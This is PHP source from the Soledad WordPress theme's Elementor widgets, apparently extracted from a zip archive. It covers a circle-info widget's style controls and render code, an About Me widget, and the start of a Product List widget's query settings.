
		$this->add_control(
			'circle_info_icon_background_active',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle.active, {{WRAPPER}} .penci-cinfoicon.active' => 'background-color: {{VALUE}} ',
				],
			]
		);

		$this->add_control(
			'circle_info_icon_border_active',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle:active, {{WRAPPER}} .penci-cinfoicon:active' => 'border-color: {{VALUE}} ',
				],
				'condition' => [
					'circle_icon_border_border!' => ''
				]
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'circle_info_icon_box_shadow_active',
				'label'    => esc_html__( 'Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-cinfosub-circle.active, {{WRAPPER}} .penci-cinfosub-circle.active',
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'circle_info_title_style',
			[
				'label' => esc_html__( 'Title', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_mode_style0' );

		$this->start_controls_tab(
			'circle_info_tab_title_normal',
			[
				'label' => esc_html__( 'Normal  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_title_color_normal',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .penci-cinfotitle, {{WRAPPER}} .penci-cinfoitem a ' => 'color: {{VALUE}} ',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'circle_info_title_typography',
				'selector' => '{{WRAPPER}} .penci-cinfotitle, {{WRAPPER}} .penci-cinfoitem a',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_info_tab_title_hover',
			[
				'label' => esc_html__( 'Hover  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_title_color_hover',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .penci-cinfotitle:hover, {{WRAPPER}} .penci-cinfoitem a:hover ' => 'color: {{VALUE}} ',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'circle_info_description_style',
			[
				'label' => esc_html__( 'Text', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_description_style' );

		$this->start_controls_tab(
			'circle_info_tab_description_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_description_color_normal',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .penci-cinfodesc' => 'color: {{VALUE}} ',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'circle_info_description_typography',
				'selector' => '{{WRAPPER}} .penci-cinfodesc',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_info_tab_description_hover',
			[
				'label' => esc_html__( 'Hover  ', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_description_color_hover',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfodesc:hover' => 'color: {{VALUE}} ',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();


		$this->start_controls_section(
			'circle_info_additional_style',
			[
				'label' => esc_html__( 'Additional', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);


		$this->start_controls_tabs( 'circle_info_border_style' );

		$this->start_controls_tab(
			'circle_info_border_style_1',
			[
				'label' => esc_html__( 'Border 1', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_border_style1',
			[
				'label'     => esc_html__( 'Border Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => [
					'none'   => esc_html__( 'None', 'soledad' ),
					'solid'  => esc_html__( 'Solid', 'soledad' ),
					'dotted' => esc_html__( 'Dotted', 'soledad' ),
					'dashed' => esc_html__( 'Dashed', 'soledad' ),
					'double' => esc_html__( 'Double', 'soledad' ),
					'groove' => esc_html__( 'Groove', 'soledad' ),
				],
				'default'   => 'solid',
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:before' => 'border-style: {{VALUE}} ',
				],
			]
		);

		$this->add_responsive_control(
			'circle_info_border_width1',
			[
				'label'     => esc_html__( 'Border Width', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:before' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'circle_info_border_color1',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:before' => 'border-color: {{VALUE}} ',
				],
			]
		);

		$this->end_controls_tab();


		$this->start_controls_tab(
			'circle_info_border_style_2',
			[
				'label' => esc_html__( 'Border 2', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_border_style2',
			[
				'label'     => esc_html__( 'Border Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => [
					'none'   => esc_html__( 'None', 'soledad' ),
					'solid'  => esc_html__( 'Solid', 'soledad' ),
					'dotted' => esc_html__( 'Dotted', 'soledad' ),
					'dashed' => esc_html__( 'Dashed', 'soledad' ),
					'double' => esc_html__( 'Double', 'soledad' ),
					'groove' => esc_html__( 'Groove', 'soledad' ),
				],
				'default'   => 'solid',
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:after' => 'border-style: {{VALUE}} ',
				],
			]
		);

		$this->add_responsive_control(
			'circle_info_border_width2',
			[
				'label'     => esc_html__( 'Border Width', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:after' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'circle_info_border_color2',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfoinner:after' => 'border-color: {{VALUE}} ',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings_for_display();

		if ( $settings['circle_info_auto_mode'] == 'yes' ) {
			$autoMode = true;
			if ( $settings['circle_info_auto_time']['size'] ) {
				$autoModeTime = $settings['circle_info_auto_time']['size'];
			} else {
				$autoModeTime = 0;
			}
		} else {
			$autoMode     = false;
			$autoModeTime = 0;
		}

		if ( $settings['circle_info_event'] ) {
			$circleInfoEvent = $settings['circle_info_event'];
		} else {
			$circleInfoEvent = false;
		}

		$this->add_render_attribute(
			[
				'circle_info' => [
					'class'         => 'penci-cinfo ',
					'data-settings' => [
						wp_json_encode( [
							"id"           => 'penci-cinfo' . $this->get_id(),
							"circleMoving" => $autoMode,
							"movingTime"   => $autoModeTime,
							"mouseEvent"   => $circleInfoEvent,
						] ),
					],
				],
			]
		);

		?>

        <div <?php $this->print_render_attribute_string( 'circle_info' ); ?>>
            <div class="penci-cinfowrap" id="penci-cinfo<?php echo esc_attr( $this->get_id() ); ?>">

                <div class="penci-cinfoinner">
					<?php
					$i = 1;
					foreach ( $settings['circle_info_icon_list'] as $index => $item ) :

						$this->add_render_attribute( 'sub_circle', 'class', 'penci-cinfosub-circle', true );
						if ( $i == 1 ) {
							$this->add_render_attribute( 'sub_circle', 'class', 'active' );
						}
						$this->add_render_attribute( 'sub_circle', 'data-circle-index', $i ++, true );

						$link_key_lg = 'link_' . $index;
						if ( ! empty( $item['circle_info_title_link']['url'] ) ) {
							$this->add_link_attributes( $link_key_lg, $item['circle_info_title_link'] );
						} else {
							$this->add_render_attribute( $link_key_lg, 'href', '#', true );
						}

						?>
                        <div <?php $this->print_render_attribute_string( 'sub_circle' ); ?>>
							<?php if ( $settings['link_on_icon'] == 'yes' ) : ?>
                            <a <?php $this->print_render_attribute_string( $link_key_lg ); ?>>
								<?php endif; ?>
								<?php if ( ! empty( $item['circle_info_item_icon']['value'] ) ) : ?>
									<?php
									Icons_Manager::render_icon( $item['circle_info_item_icon'], [ 'aria-hidden' => 'true' ] );
									?>
								<?php endif; ?>

								<?php if ( $settings['link_on_icon'] == 'yes' ) : ?>
                            </a>
						<?php endif; ?>

                        </div>
					<?php endforeach; ?>
                </div>

                <div class="penci-cinfocontent">
					<?php
					$i = 1;
					foreach ( $settings['circle_info_icon_list'] as $index => $item ) :

						$this->add_render_attribute( 'circle_content', 'class', 'penci-cinfoitem icci' . $i ++ . ' elementor-repeater-item-' . esc_attr( $item['_id'] ), true );

						if ( $i == 2 ) {
							$this->add_render_attribute( 'circle_content', 'class', 'active' );
						}
						$this->add_render_attribute( 'circle_title_tags', 'class', 'penci-cinfotitle' );


						$link_key = 'link_to_' . $index;
						if ( ! empty( $item['circle_info_title_link']['url'] ) ) {
							$this->add_link_attributes( $link_key, $item['circle_info_title_link'] );
						} else {
							$this->add_render_attribute( $link_key, 'href', '#', true );
						}


						?>

                        <div <?php $this->print_render_attribute_string( 'circle_content' ); ?>>

							<?php if ( ! empty( $item['circle_info_item_icon']['value'] ) ) : ?>
                                <div class="penci-cinfoicon d-md-none">
									<?php if ( $settings['link_on_icon'] == 'yes' ) : ?>
                                    <a <?php $this->print_render_attribute_string( $link_key ); ?>>
										<?php endif; ?>
										<?php
										Icons_Manager::render_icon( $item['circle_info_item_icon'], [ 'aria-hidden' => 'true' ] );
										?>
										<?php if ( $settings['link_on_icon'] == 'yes' ) : ?>
                                    </a>
								<?php endif; ?>
                                </div>
							<?php endif; ?>

                            <div class="penci-cinfocontent-inner">
                                <div>
                                    <a <?php $this->print_render_attribute_string( $link_key ); ?>>
                                        <<?php echo esc_attr( $settings['title_tags'] ); ?> <?php $this->print_render_attribute_string( 'circle_title_tags' ); ?>
                                        >
										<?php echo wp_kses_post( $item['circle_info_item_title'] ); ?>
                                    </<?php echo esc_attr( $settings['title_tags'] ); ?>>
                                    </a>
                                </div>

                                <div class="penci-cinfodesc">
									<?php echo wp_kses_post( $item['circle_info_item_details'] ); ?>
                                </div>
                            </div>

                        </div>

					<?php endforeach; ?>

                </div>

            </div>
        </div>

		<?php
	}
}
PK     N\ [  [  /  inc/elementor/modules/penci-about-me/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAboutMe;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-about-me';
	}

	public function get_widgets() {
		return array( 'PenciAboutMe' );
	}
}
PK     N\X)  X)  ?  inc/elementor/modules/penci-about-me/widgets/penci-about-me.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAboutMe\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciAboutMe extends Base_Widget {

	public function get_name() {
		return 'penci-about-me';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Widget About Me', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-document-file';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'about me', 'image', 'about' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_aboutme', array(
				'label' => esc_html__( 'About me', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'image',
			array(
				'label'   => __( 'Choose Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'default' => array( 'url' => Utils::get_placeholder_image_src() ),
			)
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			array(
				'name'      => 'thumbnail',
				'default'   => 'full',
				'separator' => 'none',
			)
		);
		$this->add_control(
			'link',
			array(
				'label'       => __( 'Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'separator'   => 'before',
			)
		);
		$this->add_control(
			'about_us_heading',
			array(
				'label'       => __( 'Heading Text', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => __( 'This is the heading', 'soledad' ),
				'placeholder' => __( 'Enter your title', 'soledad' ),
				'label_block' => true,
			)
		);
		$this->add_control(
			'content',
			array(
				'label'       => __( 'About us text:', 'soledad' ),
				'type'        => Controls_Manager::WYSIWYG,
				'default'     => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'soledad' ),
				'placeholder' => __( 'Enter your description', 'soledad' ),
				'separator'   => 'none',
				'rows'        => 10,
				'show_label'  => false,
			)
		);


		$this->add_control(
			'align_block',
			array(
				'label'     => __( 'Align This Block', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'default'   => 'center',
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'toggle'    => true,
			)
		);

		$this->add_control(
			'title_tag',
			array(
				'label'   => __( 'Title HTML Tag', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'h1'   => 'H1',
					'h2'   => 'H2',
					'h3'   => 'H3',
					'h4'   => 'H4',
					'h5'   => 'H5',
					'h6'   => 'H6',
					'div'  => 'div',
					'span' => 'span',
					'p'    => 'p',
				),
				'default' => 'h3',
			)
		);

		$pmetas = array(
			'img_circle'   => array( 'label' => __( 'Make About Image Circle', 'soledad' ), 'default' => '' ),
			'dis_lazyload' => array( 'label' => __( 'Disable Lazyload for Image', 'soledad' ), 'default' => '' )
		);

		foreach ( $pmetas as $key => $pmeta ) {
			$this->add_control(
				$key, array(
					'label'     => $pmeta['label'],
					'type'      => Controls_Manager::SWITCHER,
					'label_on'  => __( 'Show', 'soledad' ),
					'label_off' => __( 'Hide', 'soledad' ),
					'default'   => $pmeta['default'],
					'separator' => '',
				)
			);
		}

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_style_image',
			array(
				'label' => __( 'Image', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'image_space',
			array(
				'label'     => __( 'Margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => '' ),
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .about-widget .penci-widget-about-image'  => 'margin-bottom: {{SIZE}}{{UNIT}};'
				)
			)
		);

		$this->add_responsive_control(
			'image_size',
			array(
				'label'          => __( 'Width', 'soledad' ) . ' (%)',
				'type'           => Controls_Manager::SLIDER,
				'default'        => array(
					'size' => '',
					'unit' => '%',
				),
				'tablet_default' => array(
					'unit' => '%'
				),
				'mobile_default' => array(
					'unit' => '%'
				),
				'size_units'     => array( '%' ),
				'range'          => array(
					'%' => array( 'min' => 5, 'max' => 100 )
				),
				'selectors'      => array( '{{WRAPPER}} .penci-widget-about-image' => 'max-width: {{SIZE}}{{UNIT}} !important;' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'heading_title',
			array(
				'label'     => __( 'Heading', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_responsive_control(
			'title_bottom_space',
			array(
				'label'     => __( 'Margin bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array( '{{WRAPPER}} .about-me-heading' => 'margin-bottom: {{SIZE}}{{UNIT}};' )
			)
		);
		$this->add_control(
			'title_color',
			array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .about-me-heading' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typo',
				'label'    => __( 'Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .about-me-heading',
			)
		);
		$this->add_control(
			'line_color',
			array(
				'label'     => __( 'Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .about-me-heading:before' => 'border-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'heading_content_typo',
			array(
				'label'     => __( 'Content', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'content_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-aboutme-content, {{WRAPPER}} .penci-aboutme-content p' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'content_typo',
				'label'    => __( 'Content Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-aboutme-content, {{WRAPPER}} .penci-aboutme-content p',
			)
		);
		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$open_image = $close_image = '';
		if ( ! empty( $settings['link']['url'] ) ) {
			$this->add_render_attribute( 'image-wrapper', 'href', $settings['link']['url'] );
			if ( ! empty( $settings['link']['is_external'] ) ) {
				$this->add_render_attribute( 'image-wrapper', 'target', '_blank' );
			}
			if ( $settings['link']['nofollow'] ) {
				$this->add_render_attribute( 'image-wrapper', 'rel', 'nofollow' );
			}
			$open_image  = '<a ' . $this->get_render_attribute_string( 'image-wrapper' ) . '>';
			$close_image = '</a>';
		}

		$image_id = isset( $settings['image']['id'] ) ? $settings['image']['id'] : '';

		$image_src = Group_Control_Image_Size::get_attachment_image_src( $image_id, 'thumbnail', $settings );

		if ( ! $image_src && isset( $settings['image']['url'] ) ) {
			$image_src = $settings['image']['url'];
		}

		$inline_style = '';
		$inline_style_html = '';

		if( isset( $settings['img_circle'] ) && $settings['img_circle'] ):
			$inline_style .= 'border-radius: 50%; -webkit-border-radius: 50%;';
		endif;

		if( $inline_style ){
			$inline_style_html = ' style="'. $inline_style .'"';
		}
		$image_width = $image_height = '';
		?>
		<div class="penci-block-vc penci-about-me">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content about-widget<?php if ( $settings['align_block'] ): echo ' pc_align' . esc_attr( $settings['align_block'] ); endif; ?>">
				<?php if ( $image_src ) : 
					$image_width = penci_get_image_data_basedurl( $image_src, 'w' );
					$image_height = penci_get_image_data_basedurl( $image_src, 'h' );
					?>
					<?php echo $open_image; ?>
					<?php if ( ! $settings['dis_lazyload'] ) { ?>
						<img class="penci-widget-about-image nopin penci-lazy" nopin="nopin" width="<?php echo $image_width; ?>" height="<?php $image_height; ?>" src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>" data-src="<?php echo esc_url( $image_src ); ?>" alt="<?php echo esc_attr( $settings['about_us_heading'] ); ?>"<?php echo $inline_style_html; ?>/>
					<?php } else { ?>
						<img class="penci-widget-about-image nopin" nopin="nopin" width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>" src="<?php echo esc_url( $image_src ); ?>" alt="<?php echo esc_attr( $settings['about_us_heading'] ); ?>"<?php echo $inline_style_html; ?>/>
					<?php } ?>
					<?php echo $close_image; ?>
				<?php endif; ?>

				<?php if ( $settings['about_us_heading'] ) : ?>
				<<?php echo $settings['title_tag']; ?> class="about-me-heading"><?php echo do_shortcode( $settings['about_us_heading'] ); ?></<?php echo $settings['title_tag']; ?>>
		<?php endif; ?>

			<?php if ( $settings['content'] ) : ?>
				<div class="penci-aboutme-content"><?php echo do_shortcode( $settings['content'] ); ?></div>
			<?php endif; ?>
		</div>
		</div>
		<?php
	}
}
PK     N\ {g  g  3  inc/elementor/modules/penci-product-list/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciProductList;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-product-list';
	}

	public function get_widgets() {
		return array( 'PenciProductList' );
	}
}
PK     N\)  )  G  inc/elementor/modules/penci-product-list/widgets/penci-product-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductList\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciProductList extends Base_Widget {

	public function get_name() {
		return 'penci-product-list';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Product List', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'list', 'post', 'small', 'slider', 'carousel', 'product' );
	}

	protected function register_controls() {


		// Section general
		$this->start_controls_section(
			'section_type', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'type',
			array(
				'label'   => __( 'Type:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'grid' => 'Grid',
					'crs'  => 'Carousel',
				),
				'default' => 'grid',
			)
		);

		$this->add_control(
			'column',
			array(
				'label'   => __( 'Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
				'default' => '3',
			)
		);

		$this->add_control(
			'tab_column',
			array(
				'label'   => __( 'Columns on Tablet', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					''  => 'Default',
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
				),
				'default' => '',
			)
		);

		$this->add_control(
			'mb_column',
			array(
				'label'   => __( 'Columns on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					''  => 'Default',
					'1' => '1',
					'2' => '2',
					'3' => '3',
				),
				'default' => '',
			)
		);

		$this->add_responsive_control(
			'hgap', array(
				'label'     => __( 'Horizontal Space Between Products', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-smalllist' => '--pcsl-hgap: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'vgap', array(
				'label'     => __( 'Vertical Space Between Products', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-smalllist' => '--pcsl-bgap: {{SIZE}}px;',
				),
				'condition' => array( 'type' => array( 'grid' ) ),
			)
		);

		$this->add_responsive_control(
			'imggap', array(
				'label'     => __( 'Space Between Image & Content', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-smalllist' => '--pcsl-between: {{SIZE}}px;',
				),
			)
		);

		$this->add_control(
			'vertical_position',
			array(
				'label'                => __( 'Vertical Align', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pcsl-inner .pcsl-iteminer' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
			)
		);

		$this->add_control(
			'text_align', array(
				'label'       => __( 'Content Text Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pcsl-content, {{WRAPPER}} .pcsl-flex-full' => 'text-align: {{VALUE}}'
				)
			)
		);

		$this->end_controls_section();


		$this->start_controls_section(
			'product_query_section',
			[
				'label' => esc_html__( 'Product Query', 'soledad' ),
			]
		);

		$this->add_control(
			'post_type',
			[
				'label'       => esc_html__( 'Data source', 'soledad' ),
				'description' => esc_html__( 'Select content type for your grid.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'product',
				'options'     => array(
					'product'            => esc_html__( 'All Products', 'soledad' ),
					'featured'           => esc_html__( 'Featured Products', 'soledad' ),
					'sale'               => esc_html__( 'Sale Products', 'soledad' ),
					'new'                => esc_html__( 'Products with NEW label', 'soledad' ),
					'bestselling'        => esc_html__( 'Bestsellers', 'soledad' ),
					'ids'                => esc_html__( 'List of IDs', 'soledad' ),
					'top_rated_products' => esc_html__( 'Top Rated Products', 'soledad' ),
					'recent_viewed'      => esc_html__( 'Recent Viewed Products', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'include',
			[
				'label'       => esc_html__( 'Include only', 'soledad' ),
				'description' => esc_html__( 'Add products by title.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'product',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type' => 'ids',
				],
			]
		);

		$this->add_control(
			'taxonomies',
			[
				'label'       => esc_html__( 'Categories or tags', 'soledad' ),
				'description' => esc_html__( 'List of product categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => array_merge( [ 'product_cat', 'product_tag' ], $this->get_product_attributes_array() ),
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$this->add_control(
			'orderby',
			[
				'label'       => esc_html__( 'Order by', 'soledad' ),
				'description' => esc_html__( 'Select order type. If "Meta value" or "Meta value Number" is chosen then meta key is required.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => array(
					''               => '',
					'date'           => esc_html__( 'Date', 'soledad' ),
					'id'             => esc_html__( 'ID', 'soledad' ),
					'author'         => esc_html__( 'Author', 'soledad' ),
					'title'          => esc_html__( 'Title', 'soledad' ),
					'modified'       => esc_html__( 'Last modified date', 'soledad' ),
					'comment_count'  => esc_html__( 'Number of comments', 'soledad' ),
					'menu_order'     => esc_html__( 'Menu order', 'soledad' ),
					'meta_value'     => esc_html__( 'Meta value', 'soledad' ),
					'meta_value_num' => esc_html__( 'Meta value number', 'soledad' ),
					'rand'           => esc_html__( 'Random order', 'soledad' ),
					'price'          => esc_html__( 'Price', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'items_per_page',
			[
				'label'       => esc_html__( 'Products Per Page', 'soledad' ),
				'description' => esc_html__( 'Number of products you want to show in this list.', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
			]
		);

		$this->add_control(
			'offset',
			[
				'label'       => esc_html__( 'Offset', 'soledad' ),
				'description' => esc_html__( 'Number of grid elements to displace or pass over.', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'condition'   => [
					'post_type!' => 'ids',
				],
			]
		);

		$this->add_control(
			'query_type',
			[
				'label'   => esc_html__( 'Query type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'OR',
				'options' => array(
					'OR'  => esc_html__( 'OR', 'soledad' ),
					'AND' => esc_html__( 'AND', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'order',
			[
				'label'       => esc_html__( 'Sort order', 'soledad' ),
